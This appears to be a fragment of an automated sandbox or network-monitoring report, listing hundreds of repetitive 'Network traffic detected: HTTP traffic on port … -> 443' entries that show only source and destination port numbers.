Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49858
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49979
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49857
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49856
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49977
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49855
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49976
Source: unknown	Network traffic detected: HTTP traffic on port 49841 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49854
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49975
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49853
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49974
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49852
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49973
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49851
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49972
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49850
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49971
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49970
Source: unknown	Network traffic detected: HTTP traffic on port 49967 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50004 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49909 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 49943 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49849
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49848
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49969
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49847
Source: unknown	Network traffic detected: HTTP traffic on port 49886 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49968
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49846
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49967
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49845
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49966
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49844
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49965
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49843
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49964
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49842
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49963
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49841
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49962
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49840
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49960
Source: unknown	Network traffic detected: HTTP traffic on port 49966 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49989 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49828 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49933 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49805 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49839
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49838
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49959
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49837
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49958
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49836
Source: unknown	Network traffic detected: HTTP traffic on port 49921 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49957
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49835
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49956
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49834
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49955
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49833
Source: unknown	Network traffic detected: HTTP traffic on port 49887 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49954
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49832
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49953
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49952
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49830
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49951
Source: unknown	Network traffic detected: HTTP traffic on port 49839 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49864 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49950
Source: unknown	Network traffic detected: HTTP traffic on port 49944 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49910 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49853 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49955 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49829
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49828
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49949
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49827
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49948
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49826
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49947
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49825
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49946
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49824
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49945
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49823
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49944
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49822
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49943
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 49922 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 49945 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49968 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49807 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49980 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 49885 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49899
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49898
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49897
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49896
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49895
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 49862 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49894
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49891
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49890
Source: unknown	Network traffic detected: HTTP traffic on port 49897 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49911 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49957 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49851 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49830 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49889
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49888
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49887
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49886
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49885
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 49863 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49884
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49883
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49882
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49881
Source: unknown	Network traffic detected: HTTP traffic on port 49840 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49880
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49896 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49797 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49956 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50005 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49979 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49879
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49878
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49999
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49877
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49998
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49876
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49875
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49996
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49874
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49995
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49873
Source: unknown	Network traffic detected: HTTP traffic on port 49923 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49994
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49872
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49993
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 49818 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49871
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49992
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49870
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49874 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49829 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49934 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49869
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49868
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49989
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49867
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49988
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49866
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49987
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49803 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49826 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49906 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49849 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49900 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49837 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49975 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49929 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49872 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49964 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49861 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49999 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49918 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49873 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49930 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50001 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49986 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49850 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49963 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50006
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 49952 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 49814 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50001
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50000
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50003
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50002
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50005
Source: unknown	Network traffic detected: HTTP traffic on port 49895 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50004
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49825 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49884 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49907 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49941 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49859 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49871 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49894 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50003 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49965 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49799 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49942 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49977 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49816 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49919 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49954 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49988 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49827 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49848 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49882 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49838 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49976 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49953 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49815 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49908 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49883 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49860 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49998 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49931 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49804 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50002 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49987 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49920 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49926 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49949 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49800 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49984 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49881 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49950 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49996 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49812 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49858 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49915 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49823 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49869 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49972 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49834 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49904 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49847 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49927 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49822 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49870 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49983 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49938 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49813 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49951 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49974 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49836 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49916 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49939 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49845 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49791 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49868 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49879 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49985 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50000 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49802 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49905 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49995 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49928 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49857 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49801 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49940 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49824 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49973 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49891 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49835 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49917 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49880 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49962 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49775 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49846 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49792 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49890 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49970 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49781 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49878 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49912 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49935 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49958 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49889 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49866 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49820 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49946 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49728 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49855 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49981 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49901 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49924 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49819 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49844 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49947 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49793 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49992 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49774 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49969 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49994 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49856 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49913 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49808 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50006 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49867 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49821
Source: unknown	Network traffic detected: HTTP traffic on port 49865 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49942
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49820
Source: unknown	Network traffic detected: HTTP traffic on port 49842 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49941
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49940
Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49833 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49819
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49818
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49939
Source: unknown	Network traffic detected: HTTP traffic on port 49810 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49817
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49938
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49816
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49937
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49815
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49936
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49814
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49935
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49813
Source: unknown	Network traffic detected: HTTP traffic on port 49902 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49934
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49812
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49933
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49811
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49932
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49810
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49931
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49930
Source: unknown	Network traffic detected: HTTP traffic on port 49925 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49971 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49794 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49936 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49876 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49960 -> 443
